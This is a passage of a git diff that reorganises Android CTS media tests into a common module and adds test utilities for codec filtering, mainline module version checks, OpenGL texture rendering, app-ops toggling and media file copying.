+    private static final String MEDIA_TYPE_PREFIX_KEY = "media-type-prefix";
+    private static final String MEDIA_TYPE_PREFIX;
+
+    static {
+        android.os.Bundle args = InstrumentationRegistry.getArguments();
+        CODEC_PREFIX = args.getString(CODEC_PREFIX_KEY);
+        MEDIA_TYPE_PREFIX = args.getString(MEDIA_TYPE_PREFIX_KEY);
+    }
+
+    public static boolean shouldSkipMediaType(String mediaType) {
+        if (MEDIA_TYPE_PREFIX != null && !mediaType.startsWith(MEDIA_TYPE_PREFIX)) {
+            Log.d(TAG, "Skipping tests for mediaType: " + mediaType);
+            return true;
+        }
+        return false;
+    }
+
+    public static boolean shouldSkipCodec(String name) {
+        if (CODEC_PREFIX != null && !name.startsWith(CODEC_PREFIX)) {
+            Log.d(TAG, "Skipping tests for codec: " + name);
+            return true;
+        }
+        return false;
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/TestMediaDataSource.java b/tests/tests/media/common/src/android/media/cts/TestMediaDataSource.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/TestMediaDataSource.java
rename to tests/tests/media/common/src/android/media/cts/TestMediaDataSource.java
diff --git a/tests/tests/media/common/src/android/media/cts/TestUtils.java b/tests/tests/media/common/src/android/media/cts/TestUtils.java
new file mode 100644
index 0000000..f98b3ab
--- /dev/null
+++ b/tests/tests/media/common/src/android/media/cts/TestUtils.java
@@ -0,0 +1,250 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.content.pm.PackageManager.MATCH_APEX;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.text.TextUtils;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.core.app.ApplicationProvider;
+
+import org.junit.Assert;
+import org.junit.AssumptionViolatedException;
+
+import java.util.Objects;
+
+/**
+ * Utilities for tests.
+ */
+public final class TestUtils {
+    private static String TAG = "TestUtils";
+    private static final int WAIT_TIME_MS = 1000;
+    private static final int WAIT_SERVICE_TIME_MS = 5000;
+
+    /**
+     * Compares contents of two bundles.
+     *
+     * @param a a bundle
+     * @param b another bundle
+     * @return {@code true} if two bundles are the same. {@code false} otherwise. This may be
+     *     incorrect if any bundle contains a bundle.
+     */
+    public static boolean equals(Bundle a, Bundle b) {
+        if (a == b) {
+            return true;
+        }
+        if (a == null || b == null) {
+            return false;
+        }
+        if (!a.keySet().containsAll(b.keySet())
+                || !b.keySet().containsAll(a.keySet())) {
+            return false;
+        }
+        for (String key : a.keySet()) {
+            if (!Objects.equals(a.get(key), b.get(key))) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Checks {@code module} is at least {@code minVersion}
+     *
+     * The tests are skipped by throwing a {@link AssumptionViolatedException}.  CTS test runners
+     * will report this as a {@code ASSUMPTION_FAILED}.
+     *
+     * @param module     the apex module name
+     * @param minVersion the minimum version
+     * @throws AssumptionViolatedException if module version < minVersion
+     */
+    public static void assumeMainlineModuleAtLeast(String module, long minVersion) {
+        try {
+            long actualVersion = getModuleVersion(module);
+            assumeTrue("Assume  module  " + module + " version " + actualVersion + " < minVersion"
+                    + minVersion, actualVersion >= minVersion);
+        } catch (PackageManager.NameNotFoundException e) {
+            Assert.fail(e.getMessage());
+        }
+    }
+
+    /**
+     * Checks if {@code module} is < {@code minVersion}
+     *
+     * <p>
+     * {@link AssumptionViolatedException} is not handled properly by {@code JUnit3} so just return
+     * the test
+     * early instead.
+     *
+     * @param module     the apex module name
+     * @param minVersion the minimum version
+     * @deprecated convert test to JUnit4 and use
+     * {@link #assumeMainlineModuleAtLeast(String, long)} instead.
+     */
+    @Deprecated
+    public static boolean skipTestIfMainlineLessThan(String module, long minVersion) {
+        try {
+            long actualVersion = getModuleVersion(module);
+            if (actualVersion < minVersion) {
+                Log.i(TAG, "Skipping test because Module  " + module + " minVersion " + minVersion
+                        + " > "
+                        + minVersion
+                );
+                return true;
+            } else {
+                return false;
+            }
+        } catch (PackageManager.NameNotFoundException e) {
+            Assert.fail(e.getMessage());
+            return false;
+        }
+    }
+
+    private static long getModuleVersion(String module)
+            throws PackageManager.NameNotFoundException {
+        Context context = ApplicationProvider.getApplicationContext();
+        PackageInfo info = context.getPackageManager().getPackageInfo(module,
+                MATCH_APEX);
+        return info.getLongVersionCode();
+    }
+
+
+    /**
+     * Reports whether {@code module} is the version shipped with the original system image
+     * or if it has been updated via a mainline update.
+     *
+     * @param module     the apex module name
+     * @return {@code true} if the apex module is the original version shipped with the device.
+     */
+    public static boolean isMainlineModuleFactoryVersion(String module) {
+        try {
+            Context context = ApplicationProvider.getApplicationContext();
+            PackageInfo info = context.getPackageManager().getPackageInfo(module,
+                    MATCH_APEX);
+            if (info != null) {
+                return (info.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
+            }
+        } catch (PackageManager.NameNotFoundException e) {
+            // Ignore the exception on devices that do not have this module
+        }
+        return true;
+    }
+
+    /*
+     * Report whether we are in MTS mode (vs in CTS) mode.
+     * Some tests (or parts of tests) are restricted to a particular mode.
+     */
+    public static boolean isMtsMode() {
+        Bundle bundle = InstrumentationRegistry.getArguments();
+        // null if not set
+        boolean isMTS = TextUtils.equals("true", bundle.getString("mts-media"));
+
+        return isMTS;
+    }
+
+    /*
+     * Report whether we want to test a particular code in the current test mode.
+     * CTS is pretty much "test them all".
+     * MTS should only be testing codecs that are part of the swcodec module; all of these
+     * begin with "c2.android."
+     *
+     * Used in spots throughout the test suite where we want to limit our testing to relevant
+     * codecs. This avoids false alarms that are sometimes triggered by non-compliant,
+     * non-mainline codecs.
+     *
+     * @param name    the name of a codec
+     * @return {@code} true is the codec should be tested in the current operating mode.
+     */
+    public static boolean isTestableCodecInCurrentMode(String name) {
+        if (name == null) {
+            return false;
+        }
+        if (!isMtsMode()) {
+            // CTS mode -- test everything
+            return true;
+        }
+        // MTS mode, just the codecs that live in the modules
+        if (name.startsWith("c2.android.")) {
+            return true;
+        }
+        return false;
+    }
+
+    private TestUtils() {
+    }
+
+    public static class Monitor {
+        private int mNumSignal;
+
+        public synchronized void reset() {
+            mNumSignal = 0;
+        }
+
+        public synchronized void signal() {
+            mNumSignal++;
+            notifyAll();
+        }
+
+        public synchronized boolean waitForSignal() throws InterruptedException {
+            return waitForCountedSignals(1) > 0;
+        }
+
+        public synchronized int waitForCountedSignals(int targetCount) throws InterruptedException {
+            while (mNumSignal < targetCount) {
+                wait();
+            }
+            return mNumSignal;
+        }
+
+        public synchronized boolean waitForSignal(long timeoutMs) throws InterruptedException {
+            return waitForCountedSignals(1, timeoutMs) > 0;
+        }
+
+        public synchronized int waitForCountedSignals(int targetCount, long timeoutMs)
+                throws InterruptedException {
+            if (timeoutMs == 0) {
+                return waitForCountedSignals(targetCount);
+            }
+            long deadline = System.currentTimeMillis() + timeoutMs;
+            while (mNumSignal < targetCount) {
+                long delay = deadline - System.currentTimeMillis();
+                if (delay <= 0) {
+                    break;
+                }
+                wait(delay);
+            }
+            return mNumSignal;
+        }
+
+        public synchronized boolean isSignalled() {
+            return mNumSignal >= 1;
+        }
+
+        public synchronized int getNumSignal() {
+            return mNumSignal;
+        }
+    }
+}
diff --git a/tests/tests/media/common/src/android/media/cts/TextureRender.java b/tests/tests/media/common/src/android/media/cts/TextureRender.java
new file mode 100644
index 0000000..102af20
--- /dev/null
+++ b/tests/tests/media/common/src/android/media/cts/TextureRender.java
@@ -0,0 +1,302 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.FloatBuffer;
+
+import android.graphics.Bitmap;
+import android.graphics.SurfaceTexture;
+import android.opengl.GLES11Ext;
+import android.opengl.GLES20;
+import android.opengl.Matrix;
+import android.util.Log;
+
+
+/**
+ * Code for rendering a texture onto a surface using OpenGL ES 2.0.
+ */
+public class TextureRender {
+    private static final String TAG = "TextureRender";
+
+    private static final int FLOAT_SIZE_BYTES = 4;
+    private static final int TRIANGLE_VERTICES_DATA_STRIDE_BYTES = 5 * FLOAT_SIZE_BYTES;
+    private static final int TRIANGLE_VERTICES_DATA_POS_OFFSET = 0;
+    private static final int TRIANGLE_VERTICES_DATA_UV_OFFSET = 3;
+    private final float[] mTriangleVerticesData = {
+        // X, Y, Z, U, V
+        -1.0f, -1.0f, 0, 0.f, 0.f,
+         1.0f, -1.0f, 0, 1.f, 0.f,
+        -1.0f,  1.0f, 0, 0.f, 1.f,
+         1.0f,  1.0f, 0, 1.f, 1.f,
+    };
+
+    private FloatBuffer mTriangleVertices;
+
+    private static final String VERTEX_SHADER =
+            "uniform mat4 uMVPMatrix;\n" +
+            "uniform mat4 uSTMatrix;\n" +
+            "attribute vec4 aPosition;\n" +
+            "attribute vec4 aTextureCoord;\n" +
+            "varying vec2 vTextureCoord;\n" +
+            "void main() {\n" +
+            "  gl_Position = uMVPMatrix * aPosition;\n" +
+            "  vTextureCoord = (uSTMatrix * aTextureCoord).xy;\n" +
+            "}\n";
+
+    private static final String FRAGMENT_SHADER =
+            "#extension GL_OES_EGL_image_external : require\n" +
+            "precision mediump float;\n" +      // highp here doesn't seem to matter
+            "varying vec2 vTextureCoord;\n" +
+            "uniform samplerExternalOES sTexture;\n" +
+            "void main() {\n" +
+            "  gl_FragColor = texture2D(sTexture, vTextureCoord);\n" +
+            "}\n";
+
+    private float[] mMVPMatrix = new float[16];
+    private float[] mSTMatrix = new float[16];
+
+    private int mProgram;
+    private int mTextureID = -12345;
+    private int muMVPMatrixHandle;
+    private int muSTMatrixHandle;
+    private int maPositionHandle;
+    private int maTextureHandle;
+
+    public TextureRender() {
+        mTriangleVertices = ByteBuffer.allocateDirect(
+            mTriangleVerticesData.length * FLOAT_SIZE_BYTES)
+                .order(ByteOrder.nativeOrder()).asFloatBuffer();
+        mTriangleVertices.put(mTriangleVerticesData).position(0);
+
+        Matrix.setIdentityM(mSTMatrix, 0);
+    }
+
+    public int getTextureId() {
+        return mTextureID;
+    }
+
+    public void drawFrame(SurfaceTexture st) {
+        checkGlError("onDrawFrame start");
+        st.getTransformMatrix(mSTMatrix);
+
+        GLES20.glClearColor(0.0f, 1.0f, 0.0f, 1.0f);
+        GLES20.glClear(GLES20.GL_DEPTH_BUFFER_BIT | GLES20.GL_COLOR_BUFFER_BIT);
+
+        GLES20.glUseProgram(mProgram);
+        checkGlError("glUseProgram");
+
+        GLES20.glActiveTexture(GLES20.GL_TEXTURE0);
+        GLES20.glBindTexture(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, mTextureID);
+
+        mTriangleVertices.position(TRIANGLE_VERTICES_DATA_POS_OFFSET);
+        GLES20.glVertexAttribPointer(maPositionHandle, 3, GLES20.GL_FLOAT, false,
+            TRIANGLE_VERTICES_DATA_STRIDE_BYTES, mTriangleVertices);
+        checkGlError("glVertexAttribPointer maPosition");
+        GLES20.glEnableVertexAttribArray(maPositionHandle);
+        checkGlError("glEnableVertexAttribArray maPositionHandle");
+
+        mTriangleVertices.position(TRIANGLE_VERTICES_DATA_UV_OFFSET);
+        GLES20.glVertexAttribPointer(maTextureHandle, 2, GLES20.GL_FLOAT, false,
+            TRIANGLE_VERTICES_DATA_STRIDE_BYTES, mTriangleVertices);
+        checkGlError("glVertexAttribPointer maTextureHandle");
+        GLES20.glEnableVertexAttribArray(maTextureHandle);
+        checkGlError("glEnableVertexAttribArray maTextureHandle");
+
+        Matrix.setIdentityM(mMVPMatrix, 0);
+        GLES20.glUniformMatrix4fv(muMVPMatrixHandle, 1, false, mMVPMatrix, 0);
+        GLES20.glUniformMatrix4fv(muSTMatrixHandle, 1, false, mSTMatrix, 0);
+
+        GLES20.glDrawArrays(GLES20.GL_TRIANGLE_STRIP, 0, 4);
+        checkGlError("glDrawArrays");
+        GLES20.glFinish();
+    }
+
+    /**
+     * Initializes GL state.  Call this after the EGL surface has been created and made current.
+     */
+    public void surfaceCreated() {
+        mProgram = createProgram(VERTEX_SHADER, FRAGMENT_SHADER);
+        if (mProgram == 0) {
+            throw new RuntimeException("failed creating program");
+        }
+        maPositionHandle = GLES20.glGetAttribLocation(mProgram, "aPosition");
+        checkGlError("glGetAttribLocation aPosition");
+        if (maPositionHandle == -1) {
+            throw new RuntimeException("Could not get attrib location for aPosition");
+        }
+        maTextureHandle = GLES20.glGetAttribLocation(mProgram, "aTextureCoord");
+        checkGlError("glGetAttribLocation aTextureCoord");
+        if (maTextureHandle == -1) {
+            throw new RuntimeException("Could not get attrib location for aTextureCoord");
+        }
+
+        muMVPMatrixHandle = GLES20.glGetUniformLocation(mProgram, "uMVPMatrix");
+        checkGlError("glGetUniformLocation uMVPMatrix");
+        if (muMVPMatrixHandle == -1) {
+            throw new RuntimeException("Could not get attrib location for uMVPMatrix");
+        }
+
+        muSTMatrixHandle = GLES20.glGetUniformLocation(mProgram, "uSTMatrix");
+        checkGlError("glGetUniformLocation uSTMatrix");
+        if (muSTMatrixHandle == -1) {
+            throw new RuntimeException("Could not get attrib location for uSTMatrix");
+        }
+
+
+        int[] textures = new int[1];
+        GLES20.glGenTextures(1, textures, 0);
+
+        mTextureID = textures[0];
+        GLES20.glBindTexture(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, mTextureID);
+        checkGlError("glBindTexture mTextureID");
+
+        GLES20.glTexParameterf(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_MIN_FILTER,
+                GLES20.GL_NEAREST);
+        GLES20.glTexParameterf(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_MAG_FILTER,
+                GLES20.GL_LINEAR);
+        GLES20.glTexParameteri(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_WRAP_S,
+                GLES20.GL_CLAMP_TO_EDGE);
+        GLES20.glTexParameteri(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_WRAP_T,
+                GLES20.GL_CLAMP_TO_EDGE);
+        checkGlError("glTexParameter");
+    }
+
+    /**
+     * Replaces the fragment shader.
+     */
+    public void changeFragmentShader(String fragmentShader) {
+        GLES20.glDeleteProgram(mProgram);
+        mProgram = createProgram(VERTEX_SHADER, fragmentShader);
+        if (mProgram == 0) {
+            throw new RuntimeException("failed creating program");
+        }
+    }
+
+    private int loadShader(int shaderType, String source) {
+        int shader = GLES20.glCreateShader(shaderType);
+        checkGlError("glCreateShader type=" + shaderType);
+        GLES20.glShaderSource(shader, source);
+        GLES20.glCompileShader(shader);
+        int[] compiled = new int[1];
+        GLES20.glGetShaderiv(shader, GLES20.GL_COMPILE_STATUS, compiled, 0);
+        if (compiled[0] == 0) {
+            Log.e(TAG, "Could not compile shader " + shaderType + ":");
+            Log.e(TAG, " " + GLES20.glGetShaderInfoLog(shader));
+            GLES20.glDeleteShader(shader);
+            shader = 0;
+        }
+        return shader;
+    }
+
+    private int createProgram(String vertexSource, String fragmentSource) {
+        int vertexShader = loadShader(GLES20.GL_VERTEX_SHADER, vertexSource);
+        if (vertexShader == 0) {
+            return 0;
+        }
+        int pixelShader = loadShader(GLES20.GL_FRAGMENT_SHADER, fragmentSource);
+        if (pixelShader == 0) {
+            return 0;
+        }
+
+        int program = GLES20.glCreateProgram();
+        checkGlError("glCreateProgram");
+        if (program == 0) {
+            Log.e(TAG, "Could not create program");
+        }
+        GLES20.glAttachShader(program, vertexShader);
+        checkGlError("glAttachShader");
+        GLES20.glAttachShader(program, pixelShader);
+        checkGlError("glAttachShader");
+        GLES20.glLinkProgram(program);
+        int[] linkStatus = new int[1];
+        GLES20.glGetProgramiv(program, GLES20.GL_LINK_STATUS, linkStatus, 0);
+        if (linkStatus[0] != GLES20.GL_TRUE) {
+            Log.e(TAG, "Could not link program: ");
+            Log.e(TAG, GLES20.glGetProgramInfoLog(program));
+            GLES20.glDeleteProgram(program);
+            program = 0;
+        }
+        return program;
+    }
+
+    public void checkGlError(String op) {
+        int error;
+        while ((error = GLES20.glGetError()) != GLES20.GL_NO_ERROR) {
+            Log.e(TAG, op + ": glError " + error);
+            throw new RuntimeException(op + ": glError " + error);
+        }
+    }
+
+    /**
+     * Saves the current frame to disk as a PNG image.  Frame starts from (0,0).
+     * <p>
+     * Useful for debugging.
+     */
+    public static void saveFrame(String filename, int width, int height) {
+        // glReadPixels gives us a ByteBuffer filled with what is essentially big-endian RGBA
+        // data (i.e. a byte of red, followed by a byte of green...).  We need an int[] filled
+        // with native-order ARGB data to feed to Bitmap.
+        //
+        // If we implement this as a series of buf.get() calls, we can spend 2.5 seconds just
+        // copying data around for a 720p frame.  It's better to do a bulk get() and then
+        // rearrange the data in memory.  (For comparison, the PNG compress takes about 500ms
+        // for a trivial frame.)
+        //
+        // So... we set the ByteBuffer to little-endian, which should turn the bulk IntBuffer
+        // get() into a straight memcpy on most Android devices.  Our ints will hold ABGR data.
+        // Swapping B and R gives us ARGB.  We need about 30ms for the bulk get(), and another
+        // 270ms for the color swap.
+        //
+        // Making this even more interesting is the upside-down nature of GL, which means we
+        // may want to flip the image vertically here.
+
+        ByteBuffer buf = ByteBuffer.allocateDirect(width * height * 4);
+        buf.order(ByteOrder.LITTLE_ENDIAN);
+        GLES20.glReadPixels(0, 0, width, height, GLES20.GL_RGBA, GLES20.GL_UNSIGNED_BYTE, buf);
+        buf.rewind();
+
+        int pixelCount = width * height;
+        int[] colors = new int[pixelCount];
+        buf.asIntBuffer().get(colors);
+        for (int i = 0; i < pixelCount; i++) {
+            int c = colors[i];
+            colors[i] = (c & 0xff00ff00) | ((c & 0x00ff0000) >> 16) | ((c & 0x000000ff) << 16);
+        }
+
+        FileOutputStream fos = null;
+        try {
+            fos = new FileOutputStream(filename);
+            Bitmap bmp = Bitmap.createBitmap(colors, width, height, Bitmap.Config.ARGB_8888);
+            bmp.compress(Bitmap.CompressFormat.PNG, 90, fos);
+            bmp.recycle();
+        } catch (IOException ioe) {
+            throw new RuntimeException("Failed to write file " + filename, ioe);
+        } finally {
+            try {
+                if (fos != null) fos.close();
+            } catch (IOException ioe2) {
+                throw new RuntimeException("Failed to close file " + filename, ioe2);
+            }
+        }
+        Log.d(TAG, "Saved " + width + "x" + height + " frame as '" + filename + "'");
+    }
+}
diff --git a/tests/tests/media/common/src/android/media/cts/Utils.java b/tests/tests/media/common/src/android/media/cts/Utils.java
new file mode 100644
index 0000000..42a813f
--- /dev/null
+++ b/tests/tests/media/common/src/android/media/cts/Utils.java
@@ -0,0 +1,194 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.app.Instrumentation;
+import android.app.NotificationManager;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.media.AudioManager;
+import android.media.AudioPlaybackConfiguration;
+import android.media.MediaPlayer;
+import android.media.session.MediaSessionManager.RemoteUserInfo;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+import androidx.test.platform.app.InstrumentationRegistry;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.List;
+import java.util.Scanner;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import junit.framework.Assert;
+
+public class Utils {
+    private static final String TAG = "CtsMediaTestUtil";
+    private static final int TEST_TIMING_TOLERANCE_MS = 500;
+    private static final String MEDIA_PATH_INSTR_ARG_KEY = "media-path";
+
+    public static void enableAppOps(String packageName, String operation,
+            Instrumentation instrumentation) {
+        setAppOps(packageName, operation, instrumentation, true);
+    }
+
+    public static void disableAppOps(String packageName, String operation,
+            Instrumentation instrumentation) {
+        setAppOps(packageName, operation, instrumentation, false);
+    }
+
+    public static String convertStreamToString(InputStream is) {
+        try (Scanner scanner = new Scanner(is).useDelimiter("\\A")) {
+            return scanner.hasNext() ? scanner.next() : "";
+        }
+    }
+
+    public static String getMediaPath() {
+        Bundle bundle = InstrumentationRegistry.getArguments();
+        String mediaPath = bundle.getString(MEDIA_PATH_INSTR_ARG_KEY);
+        Log.i(TAG, "Media Path value is: " + mediaPath);
+
+        if (mediaPath != null && !mediaPath.isEmpty()) {
+            if (mediaPath.startsWith("http") || mediaPath.startsWith("file")) {
+                return mediaPath;
+            }
+            // Otherwise, assume a file path that is not already Uri formatted
+            return Uri.fromFile(new File(mediaPath)).toString();
+        }
+        return "https://storage.googleapis.com/wvmedia";
+    }
+
+    private static void setAppOps(String packageName, String operation,
+            Instrumentation instrumentation, boolean enable) {
+        StringBuilder cmd = new StringBuilder();
+        cmd.append("appops set ");
+        cmd.append(packageName);
+        cmd.append(" ");
+        cmd.append(operation);
+        cmd.append(enable ? " allow" : " deny");
+        instrumentation.getUiAutomation().executeShellCommand(cmd.toString());
+
+        StringBuilder query = new StringBuilder();
+        query.append("appops get ");
+        query.append(packageName);
+        query.append(" ");
+        query.append(operation);
+        String queryStr = query.toString();
+
+        String expectedResult = enable ? "allow" : "deny";
+        String result = "";
+        while(!result.contains(expectedResult)) {
+            ParcelFileDescriptor pfd = instrumentation.getUiAutomation().executeShellCommand(
+                                                            queryStr);
+            InputStream inputStream = new FileInputStream(pfd.getFileDescriptor());
+            result = convertStreamToString(inputStream);
+        }
+    }
+
+    public static void toggleNotificationPolicyAccess(String packageName,
+            Instrumentation instrumentation, boolean on) throws IOException {
+
+        String command = " cmd notification " + (on ? "allow_dnd " : "disallow_dnd ") + packageName;
+
+        // Get permission to enable accessibility
+        UiAutomation uiAutomation = instrumentation.getUiAutomation();
+        // Execute command
+        try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
+            Assert.assertNotNull("Failed to execute shell command: " + command, fd);
+            // Wait for the command to finish by reading until EOF
+            try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
+                byte[] buffer = new byte[4096];
+                while (in.read(buffer) > 0) {}
+            } catch (IOException e) {
+                throw new IOException("Could not read stdout of command: " + command, e);
+            }
+        } finally {
+            uiAutomation.destroy();
+        }
+
+        NotificationManager nm = (NotificationManager) instrumentation.getContext()
+                .getSystemService(Context.NOTIFICATION_SERVICE);
+        Assert.assertEquals("Wrote setting should be the same as the read one", on,
+                nm.isNotificationPolicyAccessGranted());
+    }
+
+    public static boolean compareRemoteUserInfo(RemoteUserInfo a, RemoteUserInfo b) {
+        if (a == null && b == null) {
+            return true;
+        } else if (a == null || b == null) {
+            return false;
+        }
+        return a.getPackageName().equals(b.getPackageName())
+                && a.getPid() == b.getPid()
+                && a.getUid() == b.getUid();
+    }
+
+    /**
+     * Assert that a media playback is started and an active {@link AudioPlaybackConfiguration}
+     * is created once. The playback will be stopped immediately after that.
+     * <p>For a media session to receive media button events, an actual playback is needed.
+     */
+    public static void assertMediaPlaybackStarted(Context context) {
+        final AudioManager am = new AudioManager(context);
+        final HandlerThread handlerThread = new HandlerThread(TAG);
+        handlerThread.start();
+        final TestAudioPlaybackCallback callback = new TestAudioPlaybackCallback();
+        MediaPlayer mediaPlayer = null;
+
+        try {
+            final int activeConfigSizeBeforeStart = am.getActivePlaybackConfigurations().size();
+            final Handler handler = new Handler(handlerThread.getLooper());
+
+            am.registerAudioPlaybackCallback(callback, handler);
+            mediaPlayer = MediaPlayer.create(context, R.raw.sine1khzs40dblong);
+            mediaPlayer.start();
+            if (!callback.mCountDownLatch.await(TEST_TIMING_TOLERANCE_MS, TimeUnit.MILLISECONDS)
+                    || callback.mActiveConfigSize != activeConfigSizeBeforeStart + 1) {
+                Assert.fail("Failed to create an active AudioPlaybackConfiguration");
+            }
+        } catch (InterruptedException e) {
+            Assert.fail("Failed to create an active AudioPlaybackConfiguration");
+        } finally {
+            am.unregisterAudioPlaybackCallback(callback);
+            if (mediaPlayer != null) {
+                mediaPlayer.stop();
+                mediaPlayer.release();
+                mediaPlayer = null;
+            }
+            handlerThread.quitSafely();
+        }
+    }
+
+    private static class TestAudioPlaybackCallback extends AudioManager.AudioPlaybackCallback {
+        private final CountDownLatch mCountDownLatch = new CountDownLatch(1);
+        private int mActiveConfigSize;
+
+        @Override
+        public void onPlaybackConfigChanged(List<AudioPlaybackConfiguration> configs) {
+            // For non-framework apps, only anonymized active AudioPlaybackCallbacks will be
+            // notified.
+            mActiveConfigSize = configs.size();
+            mCountDownLatch.countDown();
+        }
+    }
+}
diff --git a/tests/tests/media/common/src/android/media/cts/WorkDirBase.java b/tests/tests/media/common/src/android/media/cts/WorkDirBase.java
new file mode 100644
index 0000000..7cff181
--- /dev/null
+++ b/tests/tests/media/common/src/android/media/cts/WorkDirBase.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.os.Environment;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Assert;
+
+import java.io.File;
+
+public class WorkDirBase {
+    private static final String MEDIA_PATH_INSTR_ARG_KEY = "media-path";
+
+    private static final File getTopDir() {
+        Assert.assertEquals(Environment.getExternalStorageState(), Environment.MEDIA_MOUNTED);
+        return Environment.getExternalStorageDirectory();
+    }
+
+    private static final String getTopDirString() {
+        return getTopDir().getAbsolutePath() + File.separator;
+    }
+
+    protected static final String getMediaDirString(String defaultFolderName) {
+        android.os.Bundle bundle = InstrumentationRegistry.getArguments();
+        String mediaDirString = bundle.getString(MEDIA_PATH_INSTR_ARG_KEY);
+        if (mediaDirString == null) {
+            return getTopDirString() + "test/" + defaultFolderName + "/";
+        }
+        // user has specified the mediaDirString via instrumentation-arg
+        if (mediaDirString.endsWith(File.separator)) {
+            return mediaDirString;
+        }
+        return mediaDirString + File.separator;
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/YUVImage.java b/tests/tests/media/common/src/android/media/cts/YUVImage.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/YUVImage.java
rename to tests/tests/media/common/src/android/media/cts/YUVImage.java
diff --git a/tests/tests/media/copy_all_media.sh b/tests/tests/media/copy_all_media.sh
new file mode 100755
index 0000000..8d5d084
--- /dev/null
+++ b/tests/tests/media/copy_all_media.sh
@@ -0,0 +1,31 @@
+#!/bin/bash
+# Copyright (C) 2022 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+## script to install media test files manually
+MEDIA_ROOT_DIR=$(dirname $0)
+export MEDIA_ROOT_DIR
+cd ${MEDIA_ROOT_DIR} || exit 1
+source $MEDIA_ROOT_DIR/common/copy_media_utils.sh
+get_adb_options "$@"
+
+./codec/copy_media.sh $@  || exit 1
+./decoder/copy_media.sh $@  || exit 1
+./drmframework/copy_media.sh $@  || exit 1
+./encoder/copy_media.sh $@  || exit 1
+./extractor/copy_media.sh $@  || exit 1
+./muxer/copy_media.sh $@  || exit 1
+./misc/copy_media.sh $@  || exit 1
+./player/copy_media.sh $@  || exit 1
diff --git a/tests/tests/media/decoder/Android.bp b/tests/tests/media/decoder/Android.bp
new file mode 100644
index 0000000..410fb5b
--- /dev/null
+++ b/tests/tests/media/decoder/Android.bp
@@ -0,0 +1,94 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
